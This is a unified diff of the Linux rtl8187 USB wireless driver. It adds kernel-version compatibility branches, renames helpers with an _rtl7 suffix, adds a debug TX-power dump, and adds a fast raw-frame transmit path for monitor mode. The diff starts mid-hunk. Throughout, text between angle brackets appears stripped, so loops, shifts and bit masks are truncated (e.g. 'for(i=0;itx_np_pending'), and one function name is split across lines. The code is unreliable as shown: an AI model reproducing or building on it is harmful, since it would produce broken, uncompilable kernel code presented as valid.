priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); +#else + rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, init_net.proc_net); +#endif } void rtl8180_proc_module_remove(void) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) remove_proc_entry(RTL8187_MODULE_NAME, proc_net); +#else + remove_proc_entry(RTL8187_MODULE_NAME, init_net.proc_net); +#endif } void rtl8180_proc_remove_one(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); if (priv->dir_dev) { // remove_proc_entry("stats-hw", priv->dir_dev); remove_proc_entry("stats-tx", priv->dir_dev); @@ -447,9 +468,9 @@ void rtl8180_proc_init_one(struct net_device *dev) { struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -459,7 +480,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -468,17 +489,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -487,27 +508,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -523,14 +544,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +582,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -570,14 +604,14 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,11 +623,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -603,7 +637,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,115 +659,119 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } void rtl8187_rx_initiate(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - + } void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,8 +955,8 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ ((1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -939,14 +980,14 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -965,15 +1006,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -981,19 +1022,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; +} + +inline u8 rtl8180_IsWirelessBMode(u16 rate) +{ + if( ((rate <= 110) && (rate != 60) && (rate != 90)) || (rate == 220) ) + return 1; + else return 0; } - +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) +#else +void rtl8187_rx_isr(struct urb *rx_urb) +#endif { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1142,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1156,19 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + { + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + { + morefrag = 1; + } + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1121,24 +1177,29 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->fasttx == 0) + { + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); + if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ + DMESG("Error: no TX slot "); + ieee80211_stop_queue_rtl7(priv->ieee80211); + } + rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, + ieeerate2rtlrate(rate)); + + priv->stats.txdatapkt++; + + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) + ieee80211_stop_queue_rtl7(priv->ieee80211); + spin_unlock_irqrestore(&priv->tx_lock,flags); + } + else + { + rtl8180_tx_fast(dev, (u32*)skb->data, skb->len, ieeerate2rtlrate(rate)); + } + } #if 0 /* This is a rough attempt to TX a frame @@ -1148,12 +1209,12 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1163,9 +1224,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1178,7 +1239,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1187,7 +1248,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1195,40 +1256,44 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif void rtl8180_try_wake_queue(struct net_device *dev, int pri); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1239,6 +1304,15 @@ rtl8180_try_wake_queue(dev,LOW_PRIORITY); } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void rtl8187_lptx_isr_fast(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_lptx_isr_fast(struct urb *tx_urb) +#endif +{ + kfree(tx_urb->transfer_buffer); + usb_free_urb(tx_urb); +} void rtl8187_beacon_stop(struct net_device *dev) { @@ -1249,55 +1323,55 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1307,7 +1381,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1318,16 +1392,20 @@ return ; } } - + rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); - + } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - 